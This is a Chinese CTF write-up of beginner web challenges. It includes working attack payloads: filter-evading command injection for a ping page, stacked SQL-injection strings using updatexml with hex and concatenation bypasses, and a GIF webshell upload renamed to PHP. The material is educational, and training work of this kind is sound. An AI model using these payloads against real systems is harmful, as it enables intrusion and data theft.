文章目录
- [Week 1]
- signin
- baby_php
- hello_http
- repo_leak
- ping
- [Week 2]
- ez_sqli
- 方法一(十六进制绕过)
- 方法二(字符串拼接)
- ez_upload
[Week 1]
signin
打开题目,查看下js代码
在main.js里找到flag
baby_php
<?php
// flag in flag.php
highlight_file(__FILE__);if (isset($_GET['a']) && isset($_GET['b']) && isset($_POST['c']) && isset($_COOKIE['name'])) {$a = $_GET['a'];$b = $_GET['b'];$c = $_POST['c'];$name = $_COOKIE['name'];if ($a != $b && md5($a) == md5($b)) {if (!is_numeric($c) && $c != 1024 && intval($c) == 1024) {include($name.'.php');}}
}
?>
简单分析一下,参数a和b值不相等但MD5相等;参数c不为数字,不等于1024,且转换为整数时等于1024;参数name为伪协议
得到flag
hello_http
就是一些基本的http请求知识
按照要求来,得到flag
repo_leak
打开题目,提示git泄露
使用工具
先运行工具GitHack
,再访问./.git/
但是这里提取不到,要用到另外一个工具git_extract
(python2环境,我这里两个版本都下了)
然后在posts文件夹找到,得到flag
ping
打开题目,发现是ping命令
查看页面源码,发现存在前端检测(所以命令执行要bp抓包)和告诉我们hint
访问一下,得到源码
<?phpfunction sanitize($s) {$s = str_replace(';', '', $s);$s = str_replace(' ', '', $s);$s = str_replace('/', '', $s);$s = str_replace('flag', '', $s);return $s;
}if (isset($_GET['source'])) {highlight_file(__FILE__);die();
}if (!isset($_POST['ip'])) {die('No IP Address');
}$ip = $_POST['ip'];$ip = sanitize($ip);if (!preg_match('/((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])/', $ip)) {die('Invalid IP Address');
}system('ping -c 4 '.$ip. ' 2>&1');?>
分析一下,过滤了分号,空格,斜杠,flag。分号我们用%0a代替;空格用%09代替;斜杠利用`cd …;cd…;cd…代替;flag直接反斜杠绕过
bp抓包,添加命令得到flag
[Week 2]
ez_sqli
源码
from flask import Flask, render_template, request
import MySQLdb
import reblacklist = ['select', 'update', 'insert', 'delete', 'database', 'table', 'column', 'alter', 'create', 'drop', 'and', 'or', 'xor', 'if', 'else', 'then', 'where']conn = MySQLdb.connect(host='db', port=3306, user='root', passwd='root', db='ctf')app = Flask(__name__)@app.route('/')
def index():field = request.args.get('order', 'id')field = re.sub(r'\s+', '', field)for s in blacklist:if s.lower() in field.lower():return s + ' are banned'if not re.match(r"id|name|email", field):field = 'id'with conn.cursor() as cursor:cursor.execute('SELECT * FROM userinfo order by %s' % field)res = cursor.fetchall()return render_template('index.html', res=res)if __name__ == '__main__':app.run(host='0.0.0.0', port=8000, debug=True)
分析一下
- 首先是过滤了很多查询用的关键字
- 然后是禁用了空格,大小写绕过
- 上传参数值匹配
id|name|email
- 最后就是查询语句
cursor.execute('SELECT * FROM userinfo order by %s' % field)
这里的cursor.execute()是可以执行多条语句,我们可以使用堆叠注入;然后hint提示我们考点为预处理语句
set @id=1;
prepare stmt from 'SELECT * FROM users WHERE id=?';
execute stmt using @id;
由于这里没有禁用报错注入的函数,我们用updatexml去回显
payload
id;set @a=select updatexml(1,concat(0x7e,(select substr((select flag from flag),1,31)),0x7e),3);prepare ctf from @a;execute ctf;
方法一(十六进制绕过)
id;set/**/@a=0x73656C65637420757064617465786D6C28312C636F6E63617428307837652C2873656C65637420737562737472282873656C65637420666C61672066726F6D20666C6167292C312C333129292C30783765292C3329;prepare/**/ctf/**/from/**/@a;execute/**/ctf;
然后查后面那一段
id;set @a=select updatexml(1,concat(0x7e,(select substr((select flag from flag),32,99)),0x7e),3);prepare ctf from @a;execute ctf;
十六进制绕过
id;set/**/@a=0x73656C65637420757064617465786D6C28312C636F6E63617428307837652C2873656C65637420737562737472282873656C65637420666C61672066726F6D20666C6167292C33322C393929292C30783765292C3329;prepare/**/ctf/**/from/**/@a;execute/**/ctf;
得到后面一段flag
方法二(字符串拼接)
payload相同
id;set/**/@a=concat("sel","ect/**/updat","exml(1,concat(0x7e,(sel","ect/**/substr((sel","ect/**/flag/**/from/**/flag),1,31)),0x7e),3)");prepare/**/ctf/**/from/**/@a;execute/**/ctf;
也能得到flag
ez_upload
给了题目附件,我们主要看下upload源码
<?php
error_reporting(0);
session_start();$user_dir = 'uploads/'.md5($_SERVER['REMOTE_ADDR']).'/';if (!file_exists($user_dir)) {mkdir($user_dir);
}switch ($_FILES['file']['type']) {case "image/gif":$source = imagecreatefromgif($_FILES['file']['tmp_name']);break;case "image/jpeg":$source = imagecreatefromjpeg($_FILES['file']['tmp_name']);break;case "image/png":$source = imagecreatefrompng($_FILES['file']['tmp_name']);break;default:die('Invalid file type!');
}$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
$filepath = $user_dir.md5($_FILES['file']['name']).'.'.$ext;switch ($_FILES['file']['type']) {case "image/gif":imagegif($source, $filepath);break;case "image/jpeg":imagejpeg($source, $filepath);break;case "image/png":imagepng($source, $filepath);break;default:die('Invalid file type!');
}echo 'Upload avatar success! Path: '.$filepath;$_SESSION['avatar'] = $filepath;
?>
简单分析一下,首先会检测MIME类型是否正确,然后经过二次渲染上传到指定路径
我们这里用的是gif,我们先上传一下
然后打开010观察上传后的图片和之前对比哪里是不变的
然后在不会被二次渲染改变的地方添加一句话木马
(这里我最初上传的gif带一句话木马刚好没被改,就不用再添加一句话木马了)
上传图片,然后bp抓包修改文件后缀为php
访问,命令执行得到flag